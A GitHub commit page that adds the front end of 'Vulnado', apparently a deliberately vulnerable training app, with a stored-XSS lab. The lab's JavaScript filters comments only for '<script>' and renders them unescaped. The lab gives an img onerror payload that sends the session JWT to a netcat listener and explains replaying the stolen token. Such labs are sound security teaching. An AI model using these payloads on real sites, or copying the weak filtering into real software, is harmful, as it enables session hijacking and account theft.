-
Notifications
You must be signed in to change notification settings - Fork 717
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Ryan
committed
Feb 21, 2019
1 parent
a9edcb9
commit 8c903d1
Showing
22 changed files
with
628 additions
and
63 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
FROM nginx:alpine | ||
COPY . /usr/share/nginx/html |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
body { | ||
padding-top: 5rem; | ||
} | ||
.puppy { | ||
padding: 3rem 1.5rem; | ||
text-align: center; | ||
} | ||
|
||
.delete-comment { | ||
float: right; | ||
border-radius: 5px; | ||
padding: 3px 9px 3px 9px; | ||
} | ||
|
||
.delete-comment:hover { | ||
cursor: pointer; | ||
background-color: red; | ||
} | ||
.form-control.top { | ||
border-radius: .5em .5em 0 0 | ||
} | ||
|
||
.form-control.bottom { | ||
border-radius: 0 0 .5em .5em | ||
} | ||
|
||
.btn-block { | ||
margin-top: 10px; | ||
} | ||
|
||
#signout { | ||
display: block; | ||
height: 32px; | ||
width: 32px; | ||
background-size:cover; | ||
position:absolute; | ||
right: 40px; | ||
top: 20px; | ||
background:url('../images/signout.png'); | ||
} | ||
#signout:hover { | ||
cursor: pointer; | ||
background:url('../images/signout-hover.png'); | ||
} |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
<!doctype html> | ||
<html lang="en"> | ||
<head> | ||
<!-- Required meta tags --> | ||
<meta charset="utf-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> | ||
|
||
<!-- Bootstrap CSS --> | ||
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> | ||
<link href="css/main.css" rel="stylesheet"> | ||
<title>Vulnado</title> | ||
</head> | ||
<body> | ||
<nav class="navbar navbar-expand-md navbar-dark bg-dark fixed-top"> | ||
<a class="navbar-brand" href="index.html">Vulnado</a> | ||
<div class="navbar-collapse collapse w-100 order-3 dual-collapse2"> | ||
<ul class="navbar-nav ml-auto"> | ||
<li class="nav-item"> | ||
<div id="signout"></div> | ||
</li> | ||
</ul> | ||
</div> | ||
</nav> | ||
|
||
<main role="main" class="container"> | ||
|
||
<div class="puppy"> | ||
<h1>Doggos4All</h1> | ||
<p>Check out this adorable pupper, you should totally comment on it!</p> | ||
<img src="images/doggo.jpg" height="358px"> | ||
</div> | ||
<div class="container"> | ||
<div class="row"> | ||
<div class="col-sm-12"> | ||
<h2>Comments</h2> | ||
</div><!-- /col-sm-12 --> | ||
</div><!-- /row --> | ||
<!--Template here --> | ||
<div id="comments-container"></div> | ||
</div> | ||
|
||
<div class="row" style="padding-top:20px"> | ||
<div class="col-sm-12"> | ||
<div class="card p-2"> | ||
<div class="input-group"> | ||
<input type="text" id="new-comment" class="form-control" placeholder="Comment"> | ||
<div class="input-group-append"> | ||
<button id="submit-comment" class="btn btn-primary">Submit</button> | ||
</div> | ||
</div> | ||
</div> | ||
</div><!-- /col-sm-12 --> | ||
</div><!--/row --> | ||
</main><!-- /.container --> | ||
|
||
<!-- Optional JavaScript --> | ||
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script> | ||
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script> | ||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script> | ||
<script src="http://builds.handlebarsjs.com.s3.amazonaws.com/handlebars.min-v4.1.0.js"></script> | ||
<script src="js/index.js"></script> | ||
<script id="comment-template" type="text/x-handlebars-template"> | ||
<div class="row" data-comment_id="{{id}}"> | ||
<div class="col-sm-12" style="padding:5px"> | ||
<div class="card"> | ||
<div class="card-header"> | ||
<strong>{{username}}</strong> commented at {{created_on}} | ||
<span class="delete-comment"> | ||
<img src="images/trash.png" height=15px/> | ||
</span> | ||
</div> | ||
<div class="card-body"> | ||
<p class="card-text">{{{body}}}</p> | ||
</div> | ||
</div> | ||
</div><!-- /col-sm-12 --> | ||
</div><!-- /row --> | ||
</script> | ||
</body> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,67 @@ | ||
$(document).ready(function(){ | ||
var source = $("#comment-template").html(); | ||
var template = Handlebars.compile(source); | ||
|
||
// Add JWT to every request | ||
$.ajaxSetup({ beforeSend: function(xhr) { | ||
xhr.setRequestHeader('x-auth-token', localStorage.jwt); | ||
}}); | ||
|
||
// Helper Functions | ||
function setupDeleteCommentHandler() { | ||
// NOTE: This needs to come first since comments aren't loaded yet. | ||
$('.delete-comment').click(function(){ | ||
var parent = this.closest(".row"); | ||
var id = $(parent).data("comment_id"); | ||
|
||
$.ajax({ | ||
type: "DELETE", | ||
url: "http://localhost:8080/comments/" + id | ||
}).done(function(){ | ||
$(parent).remove(); | ||
}); | ||
}); | ||
} | ||
|
||
function fetchComments() { | ||
$.get("http://localhost:8080/comments", function(data){ | ||
$('#comments-container').html('') | ||
data.forEach(function(comment){ | ||
if (comment.body.indexOf("<script>") < 0) { | ||
$("#comments-container").append(template(comment)); | ||
} | ||
}); | ||
setupDeleteCommentHandler(); | ||
}); | ||
} | ||
|
||
//Event Handlers | ||
$('#submit-comment').click(function(){ | ||
var comment = $('#new-comment').val(); | ||
var username = localStorage.username; | ||
$.ajax({ | ||
type: "POST", | ||
url: "http://localhost:8080/comments", | ||
data: JSON.stringify({username: username, body: comment}), | ||
dataType: "json", | ||
contentType: "application/json", | ||
}).done(function(){ | ||
$('#new-comment').val(''); | ||
fetchComments(); | ||
}); | ||
}); | ||
|
||
$('#signout').click(function(){ | ||
alert("Goodbye!"); | ||
localStorage.jwt = ''; | ||
localStorage.username = ''; | ||
window.location.replace("login.html") | ||
}); | ||
|
||
// Initialize | ||
if (localStorage.getItem("jwt")){ | ||
fetchComments(); | ||
} else{ | ||
window.location.replace("login.html"); | ||
} | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
$(document).ready(function(){ | ||
$("#btn-login").click(function(){ | ||
var username = $('#inputUsername').val(); | ||
var password = $('#inputPassword').val(); | ||
var payload = {username: username, password: password}; | ||
|
||
$.ajax({ | ||
type: 'POST', | ||
url: "http://localhost:8080/login", | ||
data: JSON.stringify(payload), | ||
dataType: "json", | ||
contentType: "application/json" | ||
}) | ||
.fail(function(data){ | ||
alert("Whoops, try again"); | ||
}) | ||
.done(function(data){ | ||
localStorage.jwt = data.token; | ||
var username = JSON.parse(atob(data.token.split('.')[1]))['sub']; | ||
localStorage.username = username; | ||
window.location.replace("index.html"); | ||
}) | ||
}) | ||
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
<!doctype html> | ||
<html lang="en"> | ||
<head> | ||
<meta charset="utf-8"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> | ||
|
||
<title>Vulnado</title> | ||
|
||
<!-- Bootstrap core CSS --> | ||
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> | ||
|
||
<!-- Custom styles for this template --> | ||
<link href="css/main.css" rel="stylesheet"> | ||
</head> | ||
|
||
<body class="text-center"> | ||
<nav class="navbar navbar-expand-md navbar-dark bg-dark fixed-top"> | ||
<a class="navbar-brand" href="#">Vulnado</a> | ||
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarsExampleDefault" aria-controls="navbarsExampleDefault" aria-expanded="false" aria-label="Toggle navigation"> | ||
<span class="navbar-toggler-icon"></span> | ||
</button> | ||
</nav> | ||
|
||
<main role="main" class="container"> | ||
<div class="row"> | ||
<div class="col-sm-3"></div> | ||
<div class="col-sm-6"> | ||
<div id="login-form" class="form-signin"> | ||
<h1 class="h3 mb-3 font-weight-normal">Please sign in</h1> | ||
<input type="username" id="inputUsername" class="form-control top" placeholder="Username" required autofocus> | ||
<input type="password" id="inputPassword" class="form-control bottom" placeholder="Password" required> | ||
<button id="btn-login" class="btn btn-lg btn-primary btn-block">Sign in</button> | ||
<p class="mt-5 mb-3 text-muted">© 2019</p> | ||
</div> | ||
</div> | ||
<div class="col-sm-3"></div> | ||
</div> | ||
</main> | ||
</body> | ||
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script> | ||
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script> | ||
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script> | ||
<script src="http://builds.handlebarsjs.com.s3.amazonaws.com/handlebars.min-v4.1.0.js"></script> | ||
<script src="js/login.js"></script> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,80 @@ | ||
# XSS - Cross Site Scripting | ||
|
||
XSS or Cross site scripting is one of the most common vulnerabilities and also one that plagues developers of client side applications in JavaScript. With so many frameworks out there, it becomes challenging to determine what is being rendered and how. A stored XSS attack is one in which an attacker is able to inject arbitrary JavaScript onto a page and have that JavaScript be rendered by another user. | ||
|
||
This is especially dangerous on pages that have some type of authentication since authentication tokens can easily be sent to another site via JavaScript. | ||
|
||
The best ways to prevent XSS are all cataloged here: | ||
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md | ||
|
||
**TL;DR: Sanitize all values just before you render them.** | ||
|
||
Example: | ||
You have an HTML template you would like to render with a username value as a `data` attribute such as this: | ||
|
||
``` | ||
<div data-username="<%= @username %>"> | ||
... | ||
</div> | ||
``` | ||
|
||
If the user is able to update their username value, which is stored on the server, they could adjust the HTML to run their own scripts on others' computers on your site: | ||
|
||
``` | ||
"><script>alert('pwned!')</script><div class=" | ||
``` | ||
|
||
|
||
# Lab | ||
|
||
Navigate to http://localhost:1337 and you'll be presented with a login page. Now that we have `rick`'s password, let's use that to log into the site. Let's try adding some comments and see what we can do. | ||
|
||
<details> | ||
<summary>Answer</summary> | ||
|
||
It turns out that the comment field is only minimally sanitized before the page renders. This is extremely common especially when sites want to allow users to insert their own HTML for things like adding photos, customizing rich text documents like blogs or creating branded emails. | ||
|
||
As a test, what we can do is something like this: | ||
|
||
``` | ||
<script>alert('pwned')</script> | ||
``` | ||
|
||
We notice that the comment is not even rendered. We can open up the developer panel on the right and inspect the JavaScript for `index.js`. We notice that the developer only "sanitized" by removing the ablity for the script tag, but there are many other ways to execute an XSS attack. | ||
|
||
For a fairly comprehensive listing of how this can be achieved, have a look at: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet | ||
|
||
Now let's try something a bit more nasty. An alert is silly and fun but what if you wanted to make a quick and easy credential grab after you execute an XSS vulnerability. | ||
|
||
In a terminal, let's start a `netcat` listener: | ||
|
||
On Mac: `sudo nc -l 18200` | ||
On Linux: `sudo nc -l -p 18200` | ||
On Windows (as Administrator): `nc -l -p 18200` | ||
|
||
Now let's try to grab the session token from localStorage (this could just as easily be `document.cookie`) | ||
|
||
``` | ||
<img src="." onerror=$.get('http://localhost:18200/'+localStorage.jwt)>" | ||
``` | ||
|
||
Since that HTML doesn't have `<script>` in it, it passes and renders creating an HTTP request to your listener on your localhost that looks something like this: | ||
|
||
``` | ||
$ sudo nc -l 18200 | ||
OPTIONS /eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJyaWNrIn0.lLdv2SY2TWzzXVKSahFDWPLcUHwpXpjsLnhwo0ioRFM HTTP/1.1 | ||
Host: localhost:18200 | ||
Connection: keep-alive | ||
Access-Control-Request-Method: GET | ||
Origin: null | ||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 | ||
Access-Control-Request-Headers: x-auth-token | ||
Accept: */* | ||
Accept-Encoding: gzip, deflate, br | ||
Accept-Language: en-US,en;q=0.9 | ||
``` | ||
|
||
That bit after options is the valid [jwt](https://jwt.io) token sent via the URL path which will allow access to the site. As an attacker, all you have to do is set your own `localStorage.jwt` value to that string in your browser and you're in without even needing to knowing the password. That being said, for most sessions, you'll only have access until the session has timed out, but for many sites, this is plenty of time to do significant damage. | ||
|
||
**Followup Question** What are some ways you can think of to add security controls to prevent damage even if a session token is compromised? | ||
</details> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.